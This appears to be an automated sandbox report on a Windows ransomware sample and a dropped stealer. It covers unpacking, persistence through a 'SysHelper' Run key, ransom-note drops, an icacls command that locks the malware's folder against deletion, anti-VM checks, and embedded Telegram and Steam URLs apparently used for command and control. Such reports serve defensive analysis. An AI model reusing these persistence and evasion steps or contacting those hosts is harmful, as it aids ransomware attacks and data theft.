Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\[}"Ml/ source: g0Zq7nJjus.exe, 00000006.00000003.2655766976.000000000325B000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2722713316.0000000003250000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2722923546.0000000003254000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2723755012.000000000325F000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2722071141.0000000003248000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: g0Zq7nJjus.exe, 00000006.00000003.2854389447.0000000003784000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2856511576.0000000003AEB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: g0Zq7nJjus.exe, 00000006.00000003.2655647252.0000000003689000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2722455938.00000000036CB000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2722200162.00000000036A1000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2721814195.0000000003689000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2723410423.0000000003706000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2723969148.0000000003716000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\C2\\H source: g0Zq7nJjus.exe, 00000006.00000003.2856573707.0000000003801000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\\ source: g0Zq7nJjus.exe, 00000006.00000003.2838401939.000000000364C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\T[DP source: g0Zq7nJjus.exe, 00000006.00000003.2750724759.00000000037CA000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2749918415.00000000037C9000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2721477658.00000000037C9000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2758680079.00000000037F1000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2750489315.00000000037C9000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2750769803.00000000037E2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\t source: g0Zq7nJjus.exe, 00000006.00000003.2759636821.0000000003781000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2801503459.00000000037A5000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2803956141.00000000037CD000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2803151864.00000000037BE000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2758680079.0000000003766000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdbI source: g0Zq7nJjus.exe, 00000000.00000002.2089522171.0000000002660000.00000040.00001000.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000005.00000002.2114516123.00000000026E0000.00000040.00001000.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000007.00000002.2132518888.00000000026C0000.00000040.00001000.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000008.00000002.3338149937.0000000000400000.00000040.00000400.00020000.00000000.sdmp, g0Zq7nJjus.exe, 0000000B.00000002.2258200313.00000000025E0000.00000040.00001000.00020000.00000000.sdmp, g0Zq7nJjus.exe, 0000000C.00000002.2268021627.0000000000400000.00000040.00000400.00020000.00000000.sdmp, g0Zq7nJjus.exe, 0000000E.00000002.2324379535.00000000025D0000.00000040.00001000.00020000.00000000.sdmp, g0Zq7nJjus.exe, 0000000F.00000002.2335331684.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\( source: g0Zq7nJjus.exe, 00000006.00000003.2750957256.0000000003252000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2722713316.0000000003250000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2722071141.0000000003248000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2723839974.0000000003251000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: g0Zq7nJjus.exe, 00000006.00000003.2759848167.0000000003951000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb\N source: g0Zq7nJjus.exe, 00000006.00000003.2655647252.0000000003689000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: g0Zq7nJjus.exe, 00000006.00000003.2655766976.000000000325B000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2722713316.0000000003250000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2722923546.0000000003254000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2724076990.0000000003268000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2723755012.000000000325F000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2722071141.0000000003248000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdbrDX_CONTENT_TASKBARHEADLINES.json source: g0Zq7nJjus.exe, 00000006.00000003.2655647252.0000000003689000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\Temp\ source: g0Zq7nJjus.exe, 00000006.00000003.2760312661.00000000036EE000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2759463917.00000000036EB000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2802749940.00000000036EA000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2802087725.00000000036D8000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2801911133.000000000368D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: g0Zq7nJjus.exe, 00000006.00000003.2655647252.0000000003689000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\\A source: g0Zq7nJjus.exe, 00000006.00000003.2848619820.0000000003998000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2849446842.0000000003A59000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2849049151.00000000039D9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\!h\|H# source: g0Zq7nJjus.exe, 00000006.00000003.2834806558.0000000003655000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2839161867.0000000003666000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2838401939.000000000364C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\*z source: g0Zq7nJjus.exe, 00000006.00000003.2839011613.0000000003257000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: g0Zq7nJjus.exe, 00000006.00000003.2760312661.00000000036EE000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2759463917.00000000036EB000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2802749940.00000000036EA000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2802087725.00000000036D8000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2801911133.000000000368D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\e\k source: g0Zq7nJjus.exe, 00000006.00000003.2856511576.0000000003AEB000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2858780081.0000000003B0A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\\ source: g0Zq7nJjus.exe, 00000006.00000003.2655647252.0000000003618000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2723608111.0000000003621000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2508166369.0000000003611000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\emp\mw source: g0Zq7nJjus.exe, 00000006.00000003.2834806558.0000000003655000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2839161867.0000000003666000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2838401939.000000000364C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\. source: g0Zq7nJjus.exe, 00000006.00000003.2856573707.0000000003801000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\tory\b source: g0Zq7nJjus.exe, 00000006.00000003.2655647252.0000000003689000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\3\ source: g0Zq7nJjus.exe, 00000006.00000003.2655647252.0000000003618000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2508166369.0000000003611000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2655834651.0000000003631000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2476893329.0000000003611000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\Temp\ source: g0Zq7nJjus.exe, 00000006.00000003.2760312661.00000000036EE000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2759463917.00000000036EB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\KbJi source: g0Zq7nJjus.exe, 00000006.00000003.2801554812.000000000324E000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2801753998.000000000325A000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2803215589.000000000325E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\1\*]i source: g0Zq7nJjus.exe, 00000006.00000003.2843319155.0000000003AB2000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2843994397.0000000003ADB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\ta\ source: g0Zq7nJjus.exe, 00000006.00000003.2854088123.0000000003B1B000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2856511576.0000000003AEB000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Unpacked PE file: 2.2.g0Zq7nJjus.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Unpacked PE file: 6.2.g0Zq7nJjus.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe	Unpacked PE file: 8.2.g0Zq7nJjus.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\6349bf8a-c410-46a9-940b-4dd70005cfd7\build2.exe	Unpacked PE file: 10.2.build2.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.tls:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe	Unpacked PE file: 12.2.g0Zq7nJjus.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe	Unpacked PE file: 15.2.g0Zq7nJjus.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Unpacked PE file: 2.2.g0Zq7nJjus.exe.400000.0.unpack
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Unpacked PE file: 6.2.g0Zq7nJjus.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe	Unpacked PE file: 8.2.g0Zq7nJjus.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\6349bf8a-c410-46a9-940b-4dd70005cfd7\build2.exe	Unpacked PE file: 10.2.build2.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe	Unpacked PE file: 12.2.g0Zq7nJjus.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe	Unpacked PE file: 15.2.g0Zq7nJjus.exe.400000.0.unpack

Source: C:\Users\user\Desktop\g0Zq7nJjus.exe

Code function: 2_2_00412220 GetCommandLineW,CommandLineToArgvW,PathFindFileNameW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,K32EnumProcesses,OpenProcess,K32EnumProcessModules,K32GetModuleBaseNameW,CloseHandle,

2_2_00412220

Source: sqlite3[1].dll.10.dr	Static PE information: section name: /4
Source: sqlite3[1].dll.10.dr	Static PE information: section name: /19
Source: sqlite3[1].dll.10.dr	Static PE information: section name: /31
Source: sqlite3[1].dll.10.dr	Static PE information: section name: /45
Source: sqlite3[1].dll.10.dr	Static PE information: section name: /57
Source: sqlite3[1].dll.10.dr	Static PE information: section name: /70
Source: sqlite3[1].dll.10.dr	Static PE information: section name: /81
Source: sqlite3[1].dll.10.dr	Static PE information: section name: /92

Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 0_2_024FD0AF push ecx; retf	0_2_024FD0B2
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 0_2_02688F05 push ecx; ret	0_2_02688F18
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 2_2_00428565 push ecx; ret	2_2_00428578
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 5_2_025470AF push ecx; retf	5_2_025470B2
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 5_2_02708F05 push ecx; ret	5_2_02708F18
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_0050D050 push eax; retn 004Dh	6_2_0050D6B5
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_0050D008 push eax; retn 004Dh	6_2_0050D6B5
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_0050D028 push eax; retn 004Dh	6_2_0050D6B5
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_0050D090 push eax; retn 004Dh	6_2_0050D6B5
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_0050D0A8 push eax; retn 004Dh	6_2_0050D6B5
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_0050D318 push eax; retn 004Dh	6_2_0050D6B5
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_0050C4E0 push eax; retn 004Dh	6_2_0050D6B5
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_0050D550 push eax; retn 004Dh	6_2_0050D6B5
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_00428565 push ecx; ret	6_2_00428578
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_0050D698 push eax; retn 004Dh	6_2_0050D6B5
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_0050C960 push eax; retn 004Dh	6_2_0050D6B5
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_0050C928 push eax; retn 004Dh	6_2_0050D6B5
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_0050C988 push eax; retn 004Dh	6_2_0050D6B5
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_0050C9A8 push eax; retn 004Dh	6_2_0050D6B5
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_0050CB78 push eax; retn 004Dh	6_2_0050D6B5
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_0050CD60 push eax; retn 004Dh	6_2_0050D6B5
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_0050CDF0 push eax; retn 004Dh	6_2_0050D6B5
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_0050CE58 push eax; retn 004Dh	6_2_0050D6B5
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_0050CF28 push eax; retn 004Dh	6_2_0050D6B5
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_0050CFC0 push eax; retn 004Dh	6_2_0050D6B5
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_0050CF90 push eax; retn 004Dh	6_2_0050D6B5

Source: initial sample	Static PE information: section name: .text entropy: 7.940785494182081
Source: initial sample	Static PE information: section name: .text entropy: 7.940785494182081
Source: initial sample	Static PE information: section name: .text entropy: 7.652702953960109
Source: initial sample	Static PE information: section name: .text entropy: 7.652702953960109

Persistence and Installation Behavior

Infects executable files (exe, dll, sys, html)

Source: C:\Users\user\Desktop\g0Zq7nJjus.exe

System file written: C:\Users\user\AppData\Local\Temp\chrome.exe

Jump to behavior

Source: C:\Users\user\AppData\Local\6349bf8a-c410-46a9-940b-4dd70005cfd7\build2.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\sqlite3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\build2[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe	Jump to dropped file
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\AppData\Local\6349bf8a-c410-46a9-940b-4dd70005cfd7\build2.exe	Jump to dropped file

Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\_readme.txt	Jump to behavior
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\$WinREAgent\_readme.txt	Jump to behavior
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\$WinREAgent\Scratch\_readme.txt	Jump to behavior
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\_readme.txt	Jump to behavior

Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SysHelper			Jump to behavior
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SysHelper			Jump to behavior

Source: C:\Users\user\Desktop\g0Zq7nJjus.exe

Code function: 2_2_00481920 GetVersionExA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,CloseHandle,FreeLibrary,GlobalMemoryStatus,GetCurrentProcessId,

2_2_00481920

Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot	Jump to behavior
Source: C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot	Jump to behavior
Source: C:\Users\user\AppData\Local\6349bf8a-c410-46a9-940b-4dd70005cfd7\build2.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate
Source: C:\Users\user\AppData\Local\6349bf8a-c410-46a9-940b-4dd70005cfd7\build2.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot

Source: C:\Users\user\Desktop\g0Zq7nJjus.exe

Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3" /deny *S-1-1-0:(OI)(CI)(DE,DC)

Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\6349bf8a-c410-46a9-940b-4dd70005cfd7\build2.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: build2.exe PID: 5640, type: MEMORYSTR

Found stalling execution ending in API Sleep call

Source: C:\Users\user\Desktop\g0Zq7nJjus.exe

Stalling execution: Execution stalls by calling Sleep

graph_6-44226

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: build2.exe, 0000000A.00000002.3337952118.0000000000400000.00000040.00000400.00020000.00000000.sdmp

Binary or memory string: @CMDVRT64.DLLCMDVRT32.DLLWPESPY.DLLVMCHECK.DLLPSTOREC.DLLDIR_WATCH.DLLAPI_LOG.DLLSBIEDLL.DLLSNXHK.DLLAVGHOOKA.DLLAVGHOOKX.DLL...\*.*\7.32B42C548F42FDA81B4A288299BD7F129HTTPS://T.ME/BG3GOTYMEDVSMOZILLA/5.0 (X11; UBUNTU; LINUX X86_64; RV:109.0) GECKO/20100101 FIREFOX/112.0 UACQHTTPS://STEAMCOMMUNITY.COM/PROFILES/76561199601319247HELLOWFQY12O5J6NR.$V

Source: C:\Users\user\Desktop\g0Zq7nJjus.exe

Code function: 0_2_024FB71C rdtsc

0_2_024FB71C

Source: C:\Users\user\Desktop\g0Zq7nJjus.exe

